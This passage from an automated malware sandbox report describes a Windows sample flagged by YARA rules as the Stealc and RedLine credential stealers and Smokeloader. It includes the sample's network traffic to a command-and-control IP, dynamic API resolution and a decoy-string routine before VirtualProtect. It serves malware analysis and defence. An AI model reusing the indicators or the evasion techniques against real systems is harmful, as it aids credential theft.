GetSystemTimeAsFileTime, GetModuleHandleA, InitializeCriticalSectionAndSpinCount, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, SetFilePointer, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, HeapSize, GetLocaleInfoA, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW, FlushFileBuffers, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW
GDI32.dll	GetCharWidth32A
ole32.dll	CoSuspendClassObjects
WINHTTP.dll	WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 17:37:04.254240036 CET	49708	80	192.168.2.10	194.15.46.65
Oct 28, 2024 17:37:04.259617090 CET	80	49708	194.15.46.65	192.168.2.10
Oct 28, 2024 17:37:04.259686947 CET	49708	80	192.168.2.10	194.15.46.65
Oct 28, 2024 17:37:04.259856939 CET	49708	80	192.168.2.10	194.15.46.65
Oct 28, 2024 17:37:04.265204906 CET	80	49708	194.15.46.65	192.168.2.10
Oct 28, 2024 17:37:12.775883913 CET	80	49708	194.15.46.65	192.168.2.10
Oct 28, 2024 17:37:12.776356936 CET	49708	80	192.168.2.10	194.15.46.65
Oct 28, 2024 17:37:12.776617050 CET	49708	80	192.168.2.10	194.15.46.65
Oct 28, 2024 17:37:12.783366919 CET	80	49708	194.15.46.65	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 17:37:50.275929928 CET	53	51220	162.159.36.2	192.168.2.10
Oct 28, 2024 17:37:50.912720919 CET	59878	53	192.168.2.10	1.1.1.1
Oct 28, 2024 17:37:50.920857906 CET	53	59878	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 17:37:50.912720919 CET	192.168.2.10	1.1.1.1	0x201	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 17:37:50.920857906 CET	1.1.1.1	192.168.2.10	0x201	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

194.15.46.65

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49708	194.15.46.65	80	6444	C:\Users\user\Desktop\uxnkmJzTjK.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 17:37:04.259856939 CET	87	OUT	GET / HTTP/1.1 Host: 194.15.46.65 Connection: Keep-Alive Cache-Control: no-cache

Target ID:	7
Start time:	12:37:01
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\uxnkmJzTjK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\uxnkmJzTjK.exe"
Imagebase:	0x400000
File size:	717'824 bytes
MD5 hash:	AC6CFD8F94D80A7655D146D3F4BF8F26
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000007.00000002.1570628123.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.1570852602.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000007.00000003.1281665121.0000000002570000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:37:25
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6444 -s 1336
Imagebase:	0x6a0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	47%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	34

Executed Functions

Function 00419F20 Relevance: 238.7, APIs: 112, Strings: 24, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(774B0000,007D6B38), ref: 00419F3D
GetProcAddress.KERNEL32(774B0000,007D6B58), ref: 00419F55
GetProcAddress.KERNEL32(774B0000,007E1980), ref: 00419F6E
GetProcAddress.KERNEL32(774B0000,007E1B90), ref: 00419F86
GetProcAddress.KERNEL32(774B0000,007E1BF0), ref: 00419F9E
GetProcAddress.KERNEL32(774B0000,007E1A28), ref: 00419FB7
GetProcAddress.KERNEL32(774B0000,007DA728), ref: 00419FCF
GetProcAddress.KERNEL32(774B0000,007E1BD8), ref: 00419FE7
GetProcAddress.KERNEL32(774B0000,007E1AE8), ref: 0041A000
GetProcAddress.KERNEL32(774B0000,007E1A40), ref: 0041A018
GetProcAddress.KERNEL32(774B0000,007E1C38), ref: 0041A030
GetProcAddress.KERNEL32(774B0000,007D6C18), ref: 0041A049
GetProcAddress.KERNEL32(774B0000,007D6998), ref: 0041A061
GetProcAddress.KERNEL32(774B0000,007D6BF8), ref: 0041A079
GetProcAddress.KERNEL32(774B0000,007D69F8), ref: 0041A092
GetProcAddress.KERNEL32(774B0000,007E1B30), ref: 0041A0AA
GetProcAddress.KERNEL32(774B0000,007E1B00), ref: 0041A0C2
GetProcAddress.KERNEL32(774B0000,007DA5E8), ref: 0041A0DB
GetProcAddress.KERNEL32(774B0000,007D6A18), ref: 0041A0F3
GetProcAddress.KERNEL32(774B0000,007E1A70), ref: 0041A10B
GetProcAddress.KERNEL32(774B0000,007E1AD0), ref: 0041A124
GetProcAddress.KERNEL32(774B0000,007E1B48), ref: 0041A13C
GetProcAddress.KERNEL32(774B0000,007E1A88), ref: 0041A154
GetProcAddress.KERNEL32(774B0000,007D6718), ref: 0041A16D
GetProcAddress.KERNEL32(774B0000,007E1AA0), ref: 0041A185
GetProcAddress.KERNEL32(774B0000,007E1B18), ref: 0041A19D
GetProcAddress.KERNEL32(774B0000,007E1C20), ref: 0041A1B6
GetProcAddress.KERNEL32(774B0000,007E1B60), ref: 0041A1CE
GetProcAddress.KERNEL32(774B0000,007E1A10), ref: 0041A1E6
GetProcAddress.KERNEL32(774B0000,007E1C08), ref: 0041A1FF
GetProcAddress.KERNEL32(774B0000,007E1BA8), ref: 0041A217
GetProcAddress.KERNEL32(774B0000,007E1C50), ref: 0041A22F
GetProcAddress.KERNEL32(774B0000,007E1BC0), ref: 0041A248
GetProcAddress.KERNEL32(774B0000,007DA210), ref: 0041A260
GetProcAddress.KERNEL32(774B0000,007E1AB8), ref: 0041A278
GetProcAddress.KERNEL32(774B0000,007E19B0), ref: 0041A291
GetProcAddress.KERNEL32(774B0000,007D6738), ref: 0041A2A9
GetProcAddress.KERNEL32(774B0000,007E1B78), ref: 0041A2C1
GetProcAddress.KERNEL32(774B0000,007D66F8), ref: 0041A2DA
GetProcAddress.KERNEL32(774B0000,007E1968), ref: 0041A2F2
GetProcAddress.KERNEL32(774B0000,007E19C8), ref: 0041A30A
GetProcAddress.KERNEL32(774B0000,007D64B8), ref: 0041A323
GetProcAddress.KERNEL32(774B0000,007D6878), ref: 0041A33B
LoadLibraryA.KERNEL32(007E19E0,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A34D
LoadLibraryA.KERNEL32(007E1C68,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A35E
LoadLibraryA.KERNEL32(007E1CE0,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A370
LoadLibraryA.KERNEL32(007E1D10,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A382
LoadLibraryA.KERNEL32(007E1D28,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A393
LoadLibraryA.KERNEL32(007E1CF8,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3A5
LoadLibraryA.KERNEL32(007E1CC8,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3B7
LoadLibraryA.KERNEL32(007E1C98,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3C8
GetProcAddress.KERNEL32(76A00000,007D6798), ref: 0041A3EA
GetProcAddress.KERNEL32(76A00000,007E1C80), ref: 0041A402
GetProcAddress.KERNEL32(76A00000,007DD610), ref: 0041A41A
GetProcAddress.KERNEL32(76A00000,007E1CB0), ref: 0041A433
GetProcAddress.KERNEL32(76A00000,007D64D8), ref: 0041A44B
GetProcAddress.KERNEL32(70540000,007DA778), ref: 0041A470
GetProcAddress.KERNEL32(70540000,007D6838), ref: 0041A489
GetProcAddress.KERNEL32(70540000,007DA7A0), ref: 0041A4A1
GetProcAddress.KERNEL32(70540000,007E50B8), ref: 0041A4B9
GetProcAddress.KERNEL32(70540000,007E5058), ref: 0041A4D2
GetProcAddress.KERNEL32(70540000,007D6898), ref: 0041A4EA
GetProcAddress.KERNEL32(70540000,007D6518), ref: 0041A502
GetProcAddress.KERNEL32(70540000,007E5088), ref: 0041A51B
GetProcAddress.KERNEL32(76BC0000,007D6758), ref: 0041A53C
GetProcAddress.KERNEL32(76BC0000,007D6858), ref: 0041A554
GetProcAddress.KERNEL32(76BC0000,007E52F8), ref: 0041A56D
GetProcAddress.KERNEL32(76BC0000,007E51D8), ref: 0041A585
GetProcAddress.KERNEL32(76BC0000,007D67B8), ref: 0041A59D
GetProcAddress.KERNEL32(765A0000,007DA4D0), ref: 0041A5C3
GetProcAddress.KERNEL32(765A0000,007DA4F8), ref: 0041A5DB
GetProcAddress.KERNEL32(765A0000,007E51C0), ref: 0041A5F3
GetProcAddress.KERNEL32(765A0000,007D6658), ref: 0041A60C
GetProcAddress.KERNEL32(765A0000,007D6538), ref: 0041A624
GetProcAddress.KERNEL32(765A0000,007DA520), ref: 0041A63C
GetProcAddress.KERNEL32(77040000,007E51A8), ref: 0041A662
GetProcAddress.KERNEL32(77040000,007D6818), ref: 0041A67A
GetProcAddress.KERNEL32(77040000,007DD520), ref: 0041A692
GetProcAddress.KERNEL32(77040000,007E5238), ref: 0041A6AB
GetProcAddress.KERNEL32(77040000,007E5280), ref: 0041A6C3
GetProcAddress.KERNEL32(77040000,007D6698), ref: 0041A6DB
GetProcAddress.KERNEL32(77040000,007D64F8), ref: 0041A6F4
GetProcAddress.KERNEL32(77040000,007E5178), ref: 0041A70C
GetProcAddress.KERNEL32(77040000,007E5190), ref: 0041A724
GetProcAddress.KERNEL32(75960000,007D6558), ref: 0041A746
GetProcAddress.KERNEL32(75960000,007E5100), ref: 0041A75E
GetProcAddress.KERNEL32(75960000,007E5208), ref: 0041A776
GetProcAddress.KERNEL32(75960000,007E5298), ref: 0041A78F
GetProcAddress.KERNEL32(75960000,007E52B0), ref: 0041A7A7
GetProcAddress.KERNEL32(77350000,007D66B8), ref: 0041A7C8
GetProcAddress.KERNEL32(77350000,007D67D8), ref: 0041A7E1
GetProcAddress.KERNEL32(759E0000,007D6778), ref: 0041A802
GetProcAddress.KERNEL32(759E0000,007E5220), ref: 0041A81A
GetProcAddress.KERNEL32(6F7D0000,007D6618), ref: 0041A840
GetProcAddress.KERNEL32(6F7D0000,007D6578), ref: 0041A858
GetProcAddress.KERNEL32(6F7D0000,007D65B8), ref: 0041A870
GetProcAddress.KERNEL32(6F7D0000,007E5010), ref: 0041A889
GetProcAddress.KERNEL32(6F7D0000,007D66D8), ref: 0041A8A1
GetProcAddress.KERNEL32(6F7D0000,007D67F8), ref: 0041A8B9
GetProcAddress.KERNEL32(6F7D0000,007D6598), ref: 0041A8D2
GetProcAddress.KERNEL32(6F7D0000,007D65D8), ref: 0041A8EA
GetProcAddress.KERNEL32(6F7D0000,InternetSetOptionA), ref: 0041A901
GetProcAddress.KERNEL32(6F7D0000,HttpQueryInfoA), ref: 0041A917
GetProcAddress.KERNEL32(775A0000,007E50A0), ref: 0041A939
GetProcAddress.KERNEL32(775A0000,007DD5F0), ref: 0041A951
GetProcAddress.KERNEL32(775A0000,007E5040), ref: 0041A969
GetProcAddress.KERNEL32(775A0000,007E5070), ref: 0041A982
GetProcAddress.KERNEL32(77030000,007D65F8), ref: 0041A9A3
GetProcAddress.KERNEL32(6D860000,007E52C8), ref: 0041A9C4
GetProcAddress.KERNEL32(6D860000,007D6638), ref: 0041A9DD
GetProcAddress.KERNEL32(6D860000,007E5250), ref: 0041A9F5
GetProcAddress.KERNEL32(6D860000,007E51F0), ref: 0041AA0D

Strings

Xe}, xrefs: 0041A738
xe}, xrefs: 0041A84B
pP~, xrefs: 0041A974
Xk}, xrefs: 00419F48
HttpQueryInfoA, xrefs: 0041A90C
Xf}, xrefs: 0041A5FE
PR~, xrefs: 0041A9E8
8f}, xrefs: 0041A9CF
R~, xrefs: 0041A80D
XP~, xrefs: 0041A4C4
8R~, xrefs: 0041A69D
Xg}, xrefs: 0041A52F
@P~, xrefs: 0041A95C
8k}, xrefs: 00419F30
1Mw, xrefs: 0041A21D
8e}, xrefs: 0041A617
xg}, xrefs: 0041A7F5
P2Mw, xrefs: 0041A12A
8h}, xrefs: 0041A47B
InternetSetOptionA, xrefs: 0041A8F5
xQ~, xrefs: 0041A6FF
8g}, xrefs: 0041A29C
Xh}, xrefs: 0041A547
xh}, xrefs: 0041A32E

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: R~$8R~$8e}$8f}$8g}$8h}$8k}$@P~$HttpQueryInfoA$InternetSetOptionA$P2Mw$PR~$XP~$Xe}$Xf}$Xg}$Xh}$Xk}$pP~$xQ~$xe}$xg}$xh}$1Mw
API String ID: 2238633743-186453564
Opcode ID: 20b608565022329c8e522603aeb206678cdaef6a3851366fd54475d7f707e8f0
Instruction ID: fc853244e6edf76f870e234c3061c456cb9d9aaab695e8dd72f65461d71d1d70
Opcode Fuzzy Hash: 20b608565022329c8e522603aeb206678cdaef6a3851366fd54475d7f707e8f0
Instruction Fuzzy Hash: 98623EB5D1B2549FC344DFA8FC8895677BBA78D301318A61BF909C3674E734A640CB62

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,00416C9B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,00416C9B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert 